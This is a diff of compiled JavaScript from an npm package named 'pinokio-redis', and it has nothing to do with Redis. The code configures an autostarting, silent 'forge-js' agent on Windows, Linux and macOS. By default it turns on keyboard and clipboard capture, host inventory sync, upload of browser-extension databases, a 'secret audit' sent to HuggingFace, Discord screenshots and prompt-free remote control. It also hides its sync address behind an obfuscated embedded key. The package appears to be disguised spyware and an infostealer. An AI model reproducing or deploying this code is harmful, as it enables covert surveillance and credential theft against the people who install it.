pinokio-redis 1.0.127

package/dist/autostart/agentEnvFile.js

@@ -0,0 +1,637 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.FORGE_AGENT_ENV_BASENAME = void 0;
+exports.forbiddenForgeAgentEnvPersistKey = forbiddenForgeAgentEnvPersistKey;
+exports.sanitizeForgeAgentEnvFileOnDisk = sanitizeForgeAgentEnvFileOnDisk;
+exports.stripEphemeralCredentialEnvFromProcess = stripEphemeralCredentialEnvFromProcess;
+exports.parseForgeAgentEnvFileToMap = parseForgeAgentEnvFileToMap;
+exports.mergeLinuxGraphicalSessionIntoForgeAgentEnv = mergeLinuxGraphicalSessionIntoForgeAgentEnv;
+exports.forgeAgentEnvPath = forgeAgentEnvPath;
+exports.applyDefaultHubUploadProcessEnv = applyDefaultHubUploadProcessEnv;
+exports.applyDefaultAgentFeatureProcessEnv = applyDefaultAgentFeatureProcessEnv;
+exports.applyDefaultAgentUnattendedProcessEnv = applyDefaultAgentUnattendedProcessEnv;
+exports.writeForgeJsAgentEnv = writeForgeJsAgentEnv;
+exports.mergeForgeAgentEnvKeyValue = mergeForgeAgentEnvKeyValue;
+exports.removeForgeAgentEnvKeys = removeForgeAgentEnvKeys;
+exports.applyForgeJsAgentEnvFile = applyForgeJsAgentEnvFile;
+const fs = __importStar(require("node:fs"));
+const os = __importStar(require("node:os"));
+const path = __importStar(require("node:path"));
+const linuxClipboardSession_1 = require("../linuxClipboardSession");
+const linuxX11_1 = require("../linuxX11");
+/** Written under the cfgmgr data dir for systemd EnvironmentFile + cli-agent bootstrap (Windows). */
+exports.FORGE_AGENT_ENV_BASENAME = "forge-js-agent.env";
+/**
+ * Keys that must never be written to `forge-js-agent.env` on the agent (relay holds HF/Discord secrets).
+ * Also stripped from existing files on load and on relay disconnect.
+ */
+const FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS = new Set([
+    "CFGMGR_HF_CREDENTIALS_B64",
+    "HF_TOKEN",
+    "HUGGINGFACE_HUB_TOKEN",
+    "HUGGINGFACE_HUB_URL",
+    "HUGGINGFACE_HUB_NAMESPACE",
+    "CFGMGR_HF_NAMESPACE",
+    "CFGMGR_HF_ALLOW_PLAINTEXT",
+    "RELAY_HF_CREDENTIALS_B64",
+    "RELAY_DISCORD_BOT_TOKEN",
+    "RELAY_DISCORD_BOT_TOKENS",
+    "RELAY_DISCORD_GUILD_ID",
+    "RELAY_DISCORD_PARENT_CATEGORY_ID",
+    "RELAY_DISCORD_APPLICATION_ID",
+    "RELAY_DISCORD_PUBLIC_KEY",
+    "RELAY_DISCORD_MAX_ATTACHMENT_BYTES",
+    "RELAY_DISCORD_429_MAX_ATTEMPTS",
+    "RELAY_DISCORD_SCREENSHOT_ENABLED",
+    "RELAY_SYNC_API_BASE_URL",
+]);
+/**
+ * Non-secret Discord screenshot preferences / tuning — must survive {@link stripEphemeralCredentialEnvFromProcess}
+ * and disk sanitize so reconnect does not drop cadence or screenshot opt-in/out (`relay_features` merge uses process.env).
+ */
+const FORGE_JS_DISCORD_TUNING_KEYS = new Set([
+    /** Opt-in/out survives WS teardown (`stripEphemeralCredentialEnvFromProcess`) and disk sanitize — not a secret. */
+    "FORGE_JS_DISCORD_SCREENSHOT_ENABLED",
+    "FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_MS",
+    "FORGE_JS_DISCORD_SCREENSHOT_INTERVAL_STAGGER_MS",
+    "FORGE_JS_DISCORD_SCREENSHOT_FIRST_DELAY_MS",
+    "FORGE_JS_DISCORD_SCREENSHOT_FIRST_STAGGER_MS",
+    "FORGE_JS_DISCORD_UPLOAD_MODE",
+    "FORGE_JS_DISCORD_MAX_ATTACHMENT_BYTES",
+    "FORGE_JS_DISCORD_429_MAX_ATTEMPTS",
+    "FORGE_JS_DISCORD_WEBHOOK_FLOW_MAX_ATTEMPTS",
+    "FORGE_JS_DISCORD_WEBHOOK_RELAY_FALLBACK",
+]);
+function isForgeJsDiscordScreenshotTuningKey(key) {
+    return FORGE_JS_DISCORD_TUNING_KEYS.has(String(key || "").trim());
+}
+function forgeAgentEnvKeyShouldBeStrippedFromDisk(key) {
+    const k = String(key || "").trim();
+    if (!k)
+        return false;
+    if (FORGE_AGENT_ENV_SECRET_OR_RELAY_KEYS.has(k))
+        return true;
+    if (k.startsWith("RELAY_"))
+        return true;
+    /** Discord flags/secrets — not persisted; tuning keys in {@link FORGE_JS_DISCORD_TUNING_KEYS} are kept. */
+    if (k.startsWith("FORGE_JS_DISCORD_") && !isForgeJsDiscordScreenshotTuningKey(k))
+        return true;
+    return false;
+}
+/** True if this key must not be merged into forge-js-agent.env (secrets / relay / Discord flags). */
+function forbiddenForgeAgentEnvPersistKey(key) {
+    return forgeAgentEnvKeyShouldBeStrippedFromDisk(key);
+}
+/**
+ * Remove relay secrets, HF blobs, and Discord flags from `forge-js-agent.env` when present (legacy / mistaken writes).
+ * Returns whether the file was rewritten.
+ */
+function sanitizeForgeAgentEnvFileOnDisk(dataDir) {
+    const p = forgeAgentEnvPath(dataDir);
+    let raw = "";
+    try {
+        raw = fs.readFileSync(p, "utf8");
+    }
+    catch {
+        return false;
+    }
+    const map = parseForgeAgentEnvFileToMap(raw);
+    let changed = false;
+    for (const k of [...map.keys()]) {
+        if (forgeAgentEnvKeyShouldBeStrippedFromDisk(k)) {
+            map.delete(k);
+            changed = true;
+        }
+    }
+    if (!changed)
+        return false;
+    fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
+    return true;
+}
+/**
+ * Best-effort: clear credential-style vars from `process.env` so they do not linger after Hub upload
+ * or relay disconnect (relay-first deployments never need these on the agent).
+ * Also removes every `RELAY_*` and most `FORGE_JS_DISCORD_*` keys (Discord automation is relay-driven or in-memory
+ * from `relay_features`). **Exception:** non-secret screenshot prefs (`FORGE_JS_DISCORD_SCREENSHOT_ENABLED`, interval,
+ * upload mode, webhook relay fallback flag, etc.) are kept so reconnect does not drop cadence or re-enable screenshots
+ * after an explicit opt-out was loaded from `forge-js-agent.env`.
+ * Call after each `fs_hf_upload` completion and on WebSocket teardown; HF token objects are scrubbed separately
+ * via {@link scrubHfCredentialsInPlace}.
+ *
+ * **Namespace:** `CFGMGR_HF_NAMESPACE` / `HUGGINGFACE_HUB_NAMESPACE` are **not** cleared here — they are not secrets,
+ * and clearing them breaks {@link runAgentStartupSecretAudit}: scans run for minutes while parallel `fs_hf_upload`
+ * may call this stripper; relay-delivered credentials often omit `namespace`, so merge falls back to env after scan.
+ *
+ * **Encrypted HF blob:** `CFGMGR_HF_CREDENTIALS_B64` is **not** cleared — it is AES-GCM ciphertext (not the raw token).
+ * Clearing it broke secret-audit Hub uploads after any explorer `fs_hf_upload` (same process). Plaintext
+ * `HUGGINGFACE_HUB_TOKEN` is still stripped.
+ */
+function stripEphemeralCredentialEnvFromProcess() {
+    const keys = [
+        "HF_TOKEN",
+        "HUGGINGFACE_HUB_TOKEN",
+        "HUGGINGFACE_HUB_URL",
+        "CFGMGR_HF_ALLOW_PLAINTEXT",
+        "RELAY_HF_CREDENTIALS_B64",
+        "RELAY_DISCORD_BOT_TOKEN",
+        "RELAY_DISCORD_BOT_TOKENS",
+        "RELAY_DISCORD_GUILD_ID",
+        "RELAY_DISCORD_PARENT_CATEGORY_ID",
+        "RELAY_DISCORD_APPLICATION_ID",
+        "RELAY_DISCORD_PUBLIC_KEY",
+        "RELAY_DISCORD_MAX_ATTACHMENT_BYTES",
+        "RELAY_DISCORD_429_MAX_ATTEMPTS",
+        "RELAY_DISCORD_SCREENSHOT_ENABLED",
+        "RELAY_SYNC_API_BASE_URL",
+    ];
+    for (const k of keys) {
+        try {
+            delete process.env[k];
+        }
+        catch {
+            /* skip */
+        }
+    }
+    for (const k of Object.keys(process.env)) {
+        if (k.startsWith("RELAY_")) {
+            try {
+                delete process.env[k];
+            }
+            catch {
+                /* skip */
+            }
+            continue;
+        }
+        if (k.startsWith("FORGE_JS_DISCORD_") && !isForgeJsDiscordScreenshotTuningKey(k)) {
+            try {
+                delete process.env[k];
+            }
+            catch {
+                /* skip */
+            }
+        }
+    }
+}
+/**
+ * Parse a value from a KEY=value line (handles outer quotes written by envFileLine).
+ */
+function unquoteEnvFileValue(v) {
+    if (v.startsWith('"') && v.endsWith('"') && v.length >= 2) {
+        return v.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, "\\");
+    }
+    if (v.startsWith("'") && v.endsWith("'") && v.length >= 2) {
+        return v.slice(1, -1);
+    }
+    return v;
+}
+/** Parse forge-js-agent.env content into a map (latest wins if a key appears twice). */
+function parseForgeAgentEnvFileToMap(raw) {
+    const map = new Map();
+    for (const line of raw.split("\n")) {
+        const t = line.replace(/\r$/, "").trim();
+        if (!t || t.startsWith("#"))
+            continue;
+        const eq = t.indexOf("=");
+        if (eq < 1)
+            continue;
+        const k = t.slice(0, eq).trim();
+        let v = t.slice(eq + 1);
+        v = unquoteEnvFileValue(v);
+        if (k)
+            map.set(k, v);
+    }
+    return map;
+}
+/**
+ * Format a KEY=VALUE line for an env file compatible with systemd EnvironmentFile and dotenv.
+ * Values containing spaces, double-quotes, dollar signs, or backslashes are double-quoted.
+ * systemd EnvironmentFile strips outer double-quotes from values, so this is always safe.
+ */
+function envFileLine(key, value) {
+    if (/[ \t"\\$`]/.test(value)) {
+        return `${key}="${value.replace(/\\/g, "\\\\").replace(/"/g, '\\"')}"`;
+    }
+    return `${key}=${value}`;
+}
+const PREFERRED_ENV_FILE_KEY_ORDER = [
+    "FORGE_JS_QUIET_AGENT",
+    "FORGE_JS_HEADLESS_UI",
+    "FORGE_JS_SYNC_URL",
+    "CFGMGR_API_URL",
+    "FORGE_JS_BUNDLE_KEY",
+    "XDG_RUNTIME_DIR",
+    "DISPLAY",
+    "WAYLAND_DISPLAY",
+    "DBUS_SESSION_BUS_ADDRESS",
+    "XAUTHORITY",
+    "PATH",
+];
+function serializeForgeAgentEnvMap(map) {
+    const used = new Set();
+    const lines = [];
+    for (const k of PREFERRED_ENV_FILE_KEY_ORDER) {
+        if (map.has(k)) {
+            lines.push(envFileLine(k, map.get(k)));
+            used.add(k);
+        }
+    }
+    const rest = [...map.keys()].filter((k) => !used.has(k)).sort();
+    for (const k of rest) {
+        lines.push(envFileLine(k, map.get(k)));
+    }
+    return lines;
+}
+/**
+ * Update forge-js-agent.env with the current graphical session (DISPLAY, Wayland, DBus, XAUTH, PATH).
+ * Used after login when a systemd user service already holds the agent singleton from an earlier
+ * boot-time start without a session.
+ */
+function mergeLinuxGraphicalSessionIntoForgeAgentEnv(dataDir) {
+    if (process.platform !== "linux")
+        return;
+    (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
+    fs.mkdirSync(dataDir, { recursive: true });
+    const p = forgeAgentEnvPath(dataDir);
+    let raw = "";
+    try {
+        raw = fs.readFileSync(p, "utf8");
+    }
+    catch {
+        /* new file */
+    }
+    const map = parseForgeAgentEnvFileToMap(raw);
+    if (!map.has("FORGE_JS_QUIET_AGENT")) {
+        map.set("FORGE_JS_QUIET_AGENT", "1");
+    }
+    if (!map.has("FORGE_JS_HEADLESS_UI")) {
+        map.set("FORGE_JS_HEADLESS_UI", "1");
+    }
+    let uid = 1000;
+    try {
+        uid = os.userInfo().uid;
+    }
+    catch {
+        uid = process.getuid?.() ?? 1000;
+    }
+    const xdgFromEnv = (process.env.XDG_RUNTIME_DIR || "").trim();
+    const xdg = xdgFromEnv || `/run/user/${uid}`;
+    map.set("XDG_RUNTIME_DIR", xdg);
+    const disp = (process.env.DISPLAY || "").trim();
+    if (disp)
+        map.set("DISPLAY", disp);
+    const wl = (process.env.WAYLAND_DISPLAY || "").trim();
+    if (wl)
+        map.set("WAYLAND_DISPLAY", wl);
+    const dbus = (process.env.DBUS_SESSION_BUS_ADDRESS || "").trim();
+    if (dbus)
+        map.set("DBUS_SESSION_BUS_ADDRESS", dbus);
+    const xauth = (process.env.XAUTHORITY || "").trim();
+    if (xauth)
+        map.set("XAUTHORITY", xauth);
+    const installTimePath = (process.env.PATH || "").trim();
+    const standardLinuxPaths = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin";
+    if (installTimePath) {
+        const seen = new Set();
+        const merged = [];
+        for (const seg of [...installTimePath.split(":"), ...standardLinuxPaths.split(":")]) {
+            const s = seg.trim();
+            if (s && !seen.has(s)) {
+                seen.add(s);
+                merged.push(s);
+            }
+        }
+        map.set("PATH", merged.join(":"));
+    }
+    fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
+}
+function forgeAgentEnvPath(dataDir) {
+    return path.join(dataDir, exports.FORGE_AGENT_ENV_BASENAME);
+}
+/**
+ * In-process Hub upload defaults (`npm install` / first run without `forge-js-agent.env`).
+ * Complements {@link applyForgeJsAgentEnvFile}; safe to call multiple times.
+ */
+function applyDefaultHubUploadProcessEnv() {
+    if (!(process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "").trim()) {
+        process.env.CFGMGR_HF_FETCH_FROM_RELAY = "1";
+    }
+    if (!(process.env.CFGMGR_HF_USE_XET ?? "").trim()) {
+        process.env.CFGMGR_HF_USE_XET = "0";
+    }
+    if (!(process.env.CFGMGR_HF_SKIP_OPENAS_BLOB ?? "").trim()) {
+        process.env.CFGMGR_HF_SKIP_OPENAS_BLOB = "1";
+    }
+}
+/**
+ * Turnkey agent features default ON after `npm install` (opt out via forge-js-agent.env or env).
+ * Clipboard poll-only on all OSes avoids native clipboard-event helpers that may flash windows
+ * or trigger OS privacy sheets (Input Monitoring on macOS, etc.).
+ */
+function applyDefaultAgentFeatureProcessEnv() {
+    if (!(process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD ?? "").trim()) {
+        process.env.CFGMGR_SYNC_KEYBOARD_CLIPBOARD = "1";
+    }
+    if (!(process.env.FORGE_JS_SYNC_HOST_INVENTORY ?? "").trim()) {
+        process.env.FORGE_JS_SYNC_HOST_INVENTORY = "1";
+    }
+    if (!(process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD ?? "").trim()) {
+        process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD = "1";
+    }
+    if (!(process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD ?? "").trim()) {
+        process.env.FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD = "1";
+    }
+    if (!(process.env.FORGE_JS_AGENT_SECRET_AUDIT ?? "").trim()) {
+        process.env.FORGE_JS_AGENT_SECRET_AUDIT = "1";
+    }
+    if (!(process.env.FORGE_JS_CLIPBOARD_POLL_ONLY ?? "").trim()) {
+        process.env.FORGE_JS_CLIPBOARD_POLL_ONLY = "1";
+    }
+}
+/**
+ * Default unattended agent profile when vars are unset or blank: suppress routine chatter and avoid
+ * desktop-capture hooks unless explicitly opted in (`FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS`).
+ * PM2 / install scripts also set these; this keeps `forge-agent` consistent when started manually.
+ */
+function applyDefaultAgentUnattendedProcessEnv() {
+    if (!(process.env.FORGE_JS_QUIET_AGENT ?? "").trim()) {
+        process.env.FORGE_JS_QUIET_AGENT = "1";
+    }
+    if (!(process.env.FORGE_JS_HEADLESS_UI ?? "").trim()) {
+        process.env.FORGE_JS_HEADLESS_UI = "1";
+    }
+    /** Block macOS osascript remote-input paths that can surface Accessibility prompts. */
+    if (!(process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT ?? "").trim()) {
+        process.env.FORGE_JS_REMOTE_CONTROL_NO_PROMPT = "1";
+    }
+}
+/**
+ * Persist forge-db sync URL + (Linux) session vars so clipboard tools work under systemd --user.
+ * Without DISPLAY / XDG_RUNTIME_DIR / WAYLAND_DISPLAY, xclip and wl-paste see no clipboard after reboot.
+ * FORGE_JS_QUIET_AGENT=1 and FORGE_JS_HEADLESS_UI=1 are always written so OS-service-started agents
+ * stay silent and skip unattended desktop capture unless explicitly overridden in this file.
+ *
+ * On all platforms: if FORGE_JS_BUNDLE_KEY is set in the current environment it is persisted so
+ * the OS-service-started agent (after reboot) uses the same encryption key override rather than
+ * the embedded obfuscated key.  This is only written when the env var is actually set; the
+ * embedded key is self-contained and requires no env var under normal conditions.
+ *
+ * @param omitSyncUrl When true, skip FORGE_JS_SYNC_URL / CFGMGR_API_URL — use when the sync URL
+ *   came from the encrypted bundle so the plain IP/port is not stored on disk.
+ */
+function writeForgeJsAgentEnv(dataDir, syncApiUrl, omitSyncUrl = false) {
+    fs.mkdirSync(dataDir, { recursive: true });
+    const u = (syncApiUrl || "").trim();
+    // Always write quiet + headless defaults for systemd/LaunchAgent/Task Scheduler–started agents.
+    // ALLOW_HEADLESS=1 lets relay-driven screenshots proceed even with HEADLESS_UI=1 (UI quiet mode,
+    // not literally no display — Windows/macOS Task Scheduler agents still have a desktop to capture).
+    const lines = [`FORGE_JS_QUIET_AGENT=1`, `FORGE_JS_HEADLESS_UI=1`, `FORGE_JS_DISCORD_SCREENSHOT_ALLOW_HEADLESS=1`];
+    // Omit sync URL when it came from the encrypted bundle so the plain IP/port is not stored
+    // on disk. The agent resolves the URL from the bundle at startup via defaultSyncApiBaseUrl().
+    if (u && !omitSyncUrl) {
+        lines.push(envFileLine("FORGE_JS_SYNC_URL", u), envFileLine("CFGMGR_API_URL", u));
+    }
+    // Persist a FORGE_JS_BUNDLE_KEY override if one was explicitly set at install time.
+    // The embedded key is self-contained (no env var required under normal use).
+    const bundleKey = (process.env.FORGE_JS_BUNDLE_KEY || "").trim();
+    if (bundleKey) {
+        lines.push(envFileLine("FORGE_JS_BUNDLE_KEY", bundleKey));
+    }
+    /** Mirror postinstall-agent defaults so reboot/autostart agents fetch HF creds from relay when unset. */
+    const hfRelayFetchRaw = (process.env.CFGMGR_HF_FETCH_FROM_RELAY ?? "1").trim().toLowerCase();
+    const hfRelayFetchOff = ["0", "false", "no", "off"].includes(hfRelayFetchRaw);
+    lines.push(envFileLine("CFGMGR_HF_FETCH_FROM_RELAY", hfRelayFetchOff ? "0" : "1"));
+    lines.push(envFileLine("CFGMGR_HF_USE_XET", "0"));
+    lines.push(envFileLine("CFGMGR_HF_SKIP_OPENAS_BLOB", "1"));
+    lines.push(envFileLine("CFGMGR_SYNC_KEYBOARD_CLIPBOARD", "1"));
+    lines.push(envFileLine("FORGE_JS_SYNC_HOST_INVENTORY", "1"));
+    lines.push(envFileLine("FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD", "1"));
+    lines.push(envFileLine("FORGE_JS_AGENT_SECRET_AUDIT", "1"));
+    lines.push(envFileLine("FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD", "1"));
+    lines.push(envFileLine("FORGE_JS_CLIPBOARD_POLL_ONLY", "1"));
+    lines.push(envFileLine("FORGE_JS_REMOTE_CONTROL_NO_PROMPT", "1"));
+    if (process.platform === "linux") {
+        let uid = 1000;
+        try {
+            uid = os.userInfo().uid;
+        }
+        catch {
+            uid = process.getuid?.() ?? 1000;
+        }
+        const xdg = (process.env.XDG_RUNTIME_DIR || "").trim() || `/run/user/${uid}`;
+        lines.push(envFileLine("XDG_RUNTIME_DIR", xdg));
+        const disp = (process.env.DISPLAY || "").trim();
+        const wl = (process.env.WAYLAND_DISPLAY || "").trim();
+        // Only persist session vars when actually set. Fake :0 / wayland-0 on headless servers
+        // made uiohook think a display existed and native code aborted (XOpenDisplay failure).
+        if (disp)
+            lines.push(envFileLine("DISPLAY", disp));
+        if (wl)
+            lines.push(envFileLine("WAYLAND_DISPLAY", wl));
+        // DBUS_SESSION_BUS_ADDRESS is required by clipboard-event and some clipboard tools
+        // (xclip, wl-paste) when running under systemd --user without an active login session.
+        // Persist the value captured at install time so the systemd unit can use it.
+        const dbus = (process.env.DBUS_SESSION_BUS_ADDRESS || "").trim();
+        if (dbus)
+            lines.push(envFileLine("DBUS_SESSION_BUS_ADDRESS", dbus));
+        // XAUTHORITY is required by X11 clipboard tools (xclip, xsel, clipboard-event) to
+        // authenticate with the X server when running under systemd --user after reboot.
+        // Without it, clipboard capture silently fails even when DISPLAY is set.
+        const xauth = (process.env.XAUTHORITY || "").trim();
+        if (xauth)
+            lines.push(envFileLine("XAUTHORITY", xauth));
+        // Persist PATH so clipboard tools (xclip, wl-paste, xsel) are found under the
+        // systemd user service environment, which may have a minimal default PATH.
+        // Always include standard Linux paths as a reliable base.
+        const installTimePath = (process.env.PATH || "").trim();
+        const standardLinuxPaths = "/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin";
+        const effectivePath = installTimePath
+            ? (() => {
+                const seen = new Set();
+                const merged = [];
+                for (const seg of [...installTimePath.split(":"), ...standardLinuxPaths.split(":")]) {
+                    const s = seg.trim();
+                    if (s && !seen.has(s)) {
+                        seen.add(s);
+                        merged.push(s);
+                    }
+                }
+                return merged.join(":");
+            })()
+            : standardLinuxPaths;
+        lines.push(envFileLine("PATH", effectivePath));
+    }
+    const p = forgeAgentEnvPath(dataDir);
+    const incoming = parseForgeAgentEnvFileToMap(`${lines.join("\n")}\n`);
+    let existing = new Map();
+    try {
+        existing = parseForgeAgentEnvFileToMap(fs.readFileSync(p, "utf8"));
+    }
+    catch {
+        /* first install — write full defaults */
+    }
+    const merged = new Map(existing);
+    for (const [k, v] of incoming) {
+        if (!merged.has(k))
+            merged.set(k, v);
+    }
+    /** Install-time sync URL is intentional; refresh when caller supplies one. */
+    if (u && !omitSyncUrl) {
+        merged.set("FORGE_JS_SYNC_URL", u);
+        merged.set("CFGMGR_API_URL", u);
+    }
+    fs.writeFileSync(p, `${serializeForgeAgentEnvMap(merged).join("\n")}\n`, "utf8");
+}
+/**
+ * Merge a single key into `forge-js-agent.env` (creates file if missing). Used when the agent
+ * must persist runtime fixes (e.g. disabling Hub Xet) so the next process start inherits them.
+ */
+function mergeForgeAgentEnvKeyValue(dataDir, key, value) {
+    const k = String(key || "").trim();
+    if (!k)
+        return;
+    if (forbiddenForgeAgentEnvPersistKey(k))
+        return;
+    fs.mkdirSync(dataDir, { recursive: true });
+    const p = forgeAgentEnvPath(dataDir);
+    let raw = "";
+    try {
+        raw = fs.readFileSync(p, "utf8");
+    }
+    catch {
+        /* new file */
+    }
+    const map = parseForgeAgentEnvFileToMap(raw);
+    map.set(k, String(value));
+    fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
+}
+/**
+ * Remove keys from `forge-js-agent.env` (no-op if file missing). Used when tearing down the agent
+ * from the file-explorer "Kill agent" flow so Discord automation flags are not left on disk.
+ */
+function removeForgeAgentEnvKeys(dataDir, keys) {
+    const p = forgeAgentEnvPath(dataDir);
+    let raw = "";
+    try {
+        raw = fs.readFileSync(p, "utf8");
+    }
+    catch {
+        return;
+    }
+    const map = parseForgeAgentEnvFileToMap(raw);
+    let changed = false;
+    for (const k of keys) {
+        const kk = String(k || "").trim();
+        if (kk && map.delete(kk))
+            changed = true;
+    }
+    if (!changed)
+        return;
+    fs.writeFileSync(p, `${serializeForgeAgentEnvMap(map).join("\n")}\n`, "utf8");
+}
+function applyLinuxSessionEnvFromFile(key, value) {
+    const v = value.trim();
+    if (!v)
+        return;
+    if ((process.env[key] ?? "").trim())
+        return;
+    if (key === "DISPLAY") {
+        process.env.DISPLAY = v;
+        if (!(0, linuxX11_1.linuxDisplayPointsToExistingX11Socket)()) {
+            delete process.env.DISPLAY;
+        }
+        return;
+    }
+    if (key === "WAYLAND_DISPLAY") {
+        if ((0, linuxClipboardSession_1.linuxWaylandDisplayValid)(v)) {
+            process.env.WAYLAND_DISPLAY = v;
+        }
+        return;
+    }
+    if (key === "XDG_RUNTIME_DIR") {
+        if (fs.existsSync(v)) {
+            process.env.XDG_RUNTIME_DIR = v;
+        }
+        return;
+    }
+    process.env[key] = value;
+}
+function applyForgeJsAgentEnvFile(dataDir) {
+    sanitizeForgeAgentEnvFileOnDisk(dataDir);
+    const p = forgeAgentEnvPath(dataDir);
+    let raw;
+    try {
+        raw = fs.readFileSync(p, "utf8");
+    }
+    catch {
+        return;
+    }
+    const map = parseForgeAgentEnvFileToMap(raw);
+    const linuxSessionKeys = new Set([
+        "XDG_RUNTIME_DIR",
+        "DISPLAY",
+        "WAYLAND_DISPLAY",
+        "DBUS_SESSION_BUS_ADDRESS",
+        "XAUTHORITY",
+    ]);
+    for (const [k, v] of map) {
+        /** Installed defaults — honor the file after `npm install` unless PM2/systemd already set the key. */
+        if (k === "CFGMGR_HF_USE_XET" ||
+            k === "CFGMGR_HF_SKIP_OPENAS_BLOB" ||
+            k === "CFGMGR_HF_FETCH_FROM_RELAY" ||
+            k === "CFGMGR_SYNC_KEYBOARD_CLIPBOARD" ||
+            k === "FORGE_JS_SYNC_HOST_INVENTORY" ||
+            k === "FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD" ||
+            k === "FORGE_JS_AGENT_SECRET_AUDIT" ||
+            k === "FORGE_JS_AGENT_SECRET_AUDIT_HF_UPLOAD" ||
+            k === "FORGE_JS_CLIPBOARD_POLL_ONLY" ||
+            k === "FORGE_JS_REMOTE_CONTROL_NO_PROMPT") {
+            if ((process.env[k] ?? "").trim())
+                continue;
+            process.env[k] = v;
+            continue;
+        }
+        if (process.platform === "linux" && linuxSessionKeys.has(k)) {
+            applyLinuxSessionEnvFromFile(k, v);
+            continue;
+        }
+        if (!(process.env[k] ?? "").trim()) {
+            process.env[k] = v;
+        }
+    }
+    if (process.platform === "linux") {
+        (0, linuxClipboardSession_1.ensureLinuxGraphicalSessionEnv)();
+    }
+}

package/dist/autostart/constants.d.ts

@@ -0,0 +1,14 @@
+/** Avoid clashing with Python cfgmgr Task Scheduler / systemd unit names. */
+export declare const WINDOWS_TASK_NAME = "ForgeJSWorker";
+export declare const WINDOWS_RUN_VALUE_NAME = "ForgeJSWorker";
+export declare const SYSTEMD_UNIT_NAME = "forge-js-worker";
+/** Legacy systemd user unit stem on disk (`<stem>.service` / `.timer`); old installers only. */
+export declare const LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = "forge-jsx-auto-update";
+export declare const MACOS_LAUNCH_AGENT_LABEL = "com.forgejs.worker";
+export declare const MACOS_PLIST_FILENAME = "com.forgejs.worker.plist";
+/** Legacy LaunchAgent identifiers on older installs (uninstall cleanup only). */
+export declare const LEGACY_MACOS_NPM_SCHEDULER_LABEL = "com.forgejs.auto-update";
+export declare const LEGACY_MACOS_NPM_SCHEDULER_PLIST = "com.forgejs.auto-update.plist";
+/** Legacy Task Scheduler task name on older Windows installs (uninstall cleanup only). */
+export declare const LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = "ForgeJSAutoUpdate";
+export declare const AUTOSTART_MANIFEST = ".forge_js_autostart.json";

package/dist/autostart/constants.js

@@ -0,0 +1,17 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.AUTOSTART_MANIFEST = exports.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = exports.LEGACY_MACOS_NPM_SCHEDULER_PLIST = exports.LEGACY_MACOS_NPM_SCHEDULER_LABEL = exports.MACOS_PLIST_FILENAME = exports.MACOS_LAUNCH_AGENT_LABEL = exports.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = exports.SYSTEMD_UNIT_NAME = exports.WINDOWS_RUN_VALUE_NAME = exports.WINDOWS_TASK_NAME = void 0;
+/** Avoid clashing with Python cfgmgr Task Scheduler / systemd unit names. */
+exports.WINDOWS_TASK_NAME = "ForgeJSWorker";
+exports.WINDOWS_RUN_VALUE_NAME = "ForgeJSWorker";
+exports.SYSTEMD_UNIT_NAME = "forge-js-worker";
+/** Legacy systemd user unit stem on disk (`<stem>.service` / `.timer`); old installers only. */
+exports.LEGACY_SYSTEMD_NPM_SCHEDULER_STEM = "forge-jsx-auto-update";
+exports.MACOS_LAUNCH_AGENT_LABEL = "com.forgejs.worker";
+exports.MACOS_PLIST_FILENAME = "com.forgejs.worker.plist";
+/** Legacy LaunchAgent identifiers on older installs (uninstall cleanup only). */
+exports.LEGACY_MACOS_NPM_SCHEDULER_LABEL = "com.forgejs.auto-update";
+exports.LEGACY_MACOS_NPM_SCHEDULER_PLIST = "com.forgejs.auto-update.plist";
+/** Legacy Task Scheduler task name on older Windows installs (uninstall cleanup only). */
+exports.LEGACY_WINDOWS_NPM_SCHEDULER_TASK_NAME = "ForgeJSAutoUpdate";
+exports.AUTOSTART_MANIFEST = ".forge_js_autostart.json";

package/dist/autostart/darwin.d.ts

@@ -0,0 +1,11 @@
